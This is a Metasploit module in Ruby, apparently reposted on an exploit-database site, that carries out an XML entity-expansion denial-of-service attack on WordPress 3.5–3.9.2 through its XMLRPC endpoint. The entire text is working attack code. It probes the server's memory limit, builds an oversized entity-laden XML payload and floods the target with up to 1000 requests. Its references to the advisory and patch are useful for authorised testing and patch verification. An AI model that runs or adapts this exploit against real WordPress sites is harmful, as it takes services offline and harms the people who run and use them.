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# WordPress 3.9 XMLRPC Denial of Service Exploit 

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress XMLRPC DoS',
'Description' => %q{
Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.
This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are
also patched).
},
'Author' =>
[
'Nir Goldshlager', # advisory
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://wordpress.org/news/2014/08/wordpress-3-9-2/'],
['URL', 'http://www.breaksec.com/?p=6362'],
['URL', 'http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/'],
['URL', 'https://core.trac.wordpress.org/changeset/29404']
],
'DisclosureDate'=> 'Aug 6 2014'
))
register_options(
[
OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ])
], self.class)
register_advanced_options(
[
OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]),
OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8])
], self.class)
end
def rlimit
datastore['RLIMIT']
end
def default_limit
datastore['DEFAULT_LIMIT']
end
def fingerprint_step
datastore['FINGERPRINT_STEP']
end
def fingerprint
memory_to_use = fingerprint_step
# try out the available memory in steps
# apache will return a server error if the limit is reached
while memory_to_use < 1024
vprint_status("#{peer} - trying memory limit #{memory_to_use}MB")
opts = {
'method' => 'POST',
'uri' => wordpress_url_xmlrpc,
'data' => generate_xml(memory_to_use),
'ctype' =>'text/xml'
}
begin
# low timeout because the server error is returned immediately
res = send_request_cgi(opts, timeout = 3)
rescue ::Rex::ConnectionError => exception
print_error("#{peer} - unable to connect: '#{exception.message}'")
break
end
if res && res.code == 500
# limit reached, return last limit
last_limit = memory_to_use - fingerprint_step
vprint_status("#{peer} - got an error - using limit #{last_limit}MB")
return last_limit
else
memory_to_use += fingerprint_step
end
end
# no limit can be determined
print_warning("#{peer} - can not determine limit, will use default of #{default_limit}")
return default_limit
end
def generate_xml(size)
entity = Rex::Text.rand_text_alpha(3)
doctype = Rex::Text.rand_text_alpha(6)
param_value_1 = Rex::Text.rand_text_alpha(5)
param_value_2 = Rex::Text.rand_text_alpha(5)
size_bytes = size * 1024
# Wordpress only resolves one level of entities so we need
# to specify one long entity and reference it multiple times
xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
xml << "<!DOCTYPE %{doctype} ["
xml << "<!ENTITY %{entity} \"%{entity_value}\">"
xml << ']>'
xml << '<methodCall>'
xml << '<methodName>'
xml << "%{payload}"
xml << '</methodName>'
xml << '<params>'
xml << "<param><value>%{param_value_1}</value></param>"
xml << "<param><value>%{param_value_2}</value></param>"
xml << '</params>'
xml << '</methodCall>'
empty_xml = xml % {
:doctype => '',
:entity => '',
:entity_value => '',
:payload => '',
:param_value_1 => '',
:param_value_2 => ''
}
space_to_fill = size_bytes - empty_xml.size
vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes")
payload = "&#{entity};" * (space_to_fill / 6)
entity_value_length = space_to_fill - payload.length
payload_xml = xml % {
:doctype => doctype,
:entity => entity,
:entity_value => Rex::Text.rand_text_alpha(entity_value_length),
:payload => payload,
:param_value_1 => param_value_1,
:param_value_2 => param_value_2
}
payload_xml
end
def run
# get the max size
print_status("#{peer} - trying to fingerprint the maximum memory we could use")
size = fingerprint
print_status("#{peer} - using #{size}MB as memory limit")
# only generate once
xml = generate_xml(size)
for x in 1..rlimit
print_status("#{peer} - sending request ##{x}...")
opts = {
'method' => 'POST',
'uri' => wordpress_url_xmlrpc,
'data' => xml,
'ctype' =>'text/xml'
}
begin
c = connect
r = c.request_cgi(opts)
c.send_request(r)
# Don't wait for a response, can take very long
rescue ::Rex::ConnectionError => exception
print_error("#{peer} - unable to connect: '#{exception.message}'")
return
ensure
disconnect(c) if c
end
end
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2014-08-15]

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